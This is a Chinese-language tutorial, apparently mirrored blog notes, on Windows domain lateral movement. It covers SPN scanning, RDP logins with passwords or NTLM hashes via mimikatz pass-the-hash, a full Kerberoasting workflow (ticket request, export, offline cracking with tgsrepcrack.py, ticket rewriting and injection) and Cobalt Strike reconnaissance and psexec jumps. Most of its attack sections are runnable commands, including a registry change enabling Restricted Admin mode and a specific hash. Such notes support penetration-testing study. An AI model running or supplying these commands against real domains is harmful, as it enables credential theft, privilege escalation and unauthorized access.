zoukankan      html  css  js  c++  java
  • 5.域横向CobaltStrike&SPN&RDP

    0x01.SPN扫描

    当计算机加入域时, 主SPN会自动添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务后,SPN也会被记录在计算机账号的相应属性中。

    SPN扫描也称为”扫描Kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描。SPN扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS、IDS等设备的规则而产生大量的警告日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度很大。

    由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普通的域用户权限,就可以进行SPN扫描。

    在域环境中,发现服务的最好办法就是通过SPN扫描。通过请求特定SPN类型服务主体名称来查找服务。

    0x01.RDP协议传递

    除了之前的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH也可以通过RDP协议进行链接操作。

    RDP协议连接:判断对方远程桌面服务是否开启(默认:3389),端口扫描判断

    RDP明文密码链接

    windows: mstsc 
    mstsc.exe /console /v:192.168.3.21 /admin
    linux: rdesktop 192.168.3.21:3389
    

    RDP密文密码链接

    windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;开启命令:
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

    mstsc.exe /restrictedadmin
    
    mimikatz.exe
    privilege::debug
    sekurlsa::pth /user:administrator /domain:tencent /ntlm:2baaefbdd1ee80755b986ee938848b2 "/run:mstsc.exe /restrictedadmin"
    

    0x02.Kerberoast(SPN票据)攻击

    SPN扫描:

    spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”。通过请求特定SPN类型的服务主体名称来查找服务,SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不需要连接到网络上的每个IP来检查服务端口。SPN扫描通过LDAP查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。

    黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。
    

    Kerberoast攻击过程:

    1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证 ,该TGT认购权证用于以后的ST服务票据请求。
    
    2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。
    
    3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证 中提取信息并填充到ST服务票据中。然后,域控制器查找哪个帐户在 ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密, 并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。
    
    4.攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。
    

    攻击利用流程

    1探针服务

    setspn -q */*
    setspn -q */* | findstr "MSSQL"
    

    2.请求获取票据

    # 删除缓存票据
    klist purge
    
    # powershell请求
    Add-Type -AssemblyName System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"
    
    # mimikatz请求
    mimikatz.exe "kerberos::ask /target:xxxx"
    
    # 查看票据
    klist
    

    image-20210921154619590

    3.导出票据

    # mimikatz
    mimikatz.exe "kerberos::list /export"
    

    4.破解票据

    # 破解工具tgsrepcrack.py   python3环境运行
    python3 tgsrepcrack.py passwd.txt xxxx.kirbi
    python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi
    
    解密出来一个密码
    

    下载地址: https://github.com/nidem/kerberoast

    5.重写票据

    python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500   # 500是administrator                                          密码                   文件python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512   #512是administratorsmimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存类似一个提权操作 , 但是不是每次都成功的
    

    6.利用

    dir //xxx.xxx.xxx.xxx/c$
    

    0x03.CS域渗透

    1.信息收集

    net view                          # 探测网络net computer                  # 探测主机            # view targets  查看net dclist                         # 探测域控列表net user                           # 探测用户shell net user /domain    # 探测域用户run mimikataz         			               # view Credentials  查看账号密码
    

    2.尝试攻击

    使用收集到的账号和密码 对域内其他主机进行攻击选择targets中的jump , 选择psexec ,  选择账号密码 监听器 会话
    

    3.第三方工具使用

    上传第三方工具 , shell 使用 , 参考工具的常见的用法

  • 相关阅读:
    2019-2020-1 20175202 20175204 20175216 《信息安全系统设计基础》实验三 并发程序
    2019-2020-1 20175202 20175204 20175216 《信息安全系统设计基础》实验二 固件程序设计
    2019-2020-1 20175202 20175204 20175216 《信息安全系统设计基础》实验一 开发环境的熟悉
    2019-2020-1 20175202 《信息安全系统设计基础》第二周学习总结
    2018-2019-2 20175202实验五《网络编程与安全》实验报告
    ucosii
    ls实现及对ls的改进
    mystate实现
    2019—2020 20175203 20175206 实验五 通讯协议设计补交
    20175203-20175206 实验四 《外设驱动程序设计》
  • 原文地址:https://www.cnblogs.com/xcymn/p/15712525.html
Copyright © 2011-2022 走看看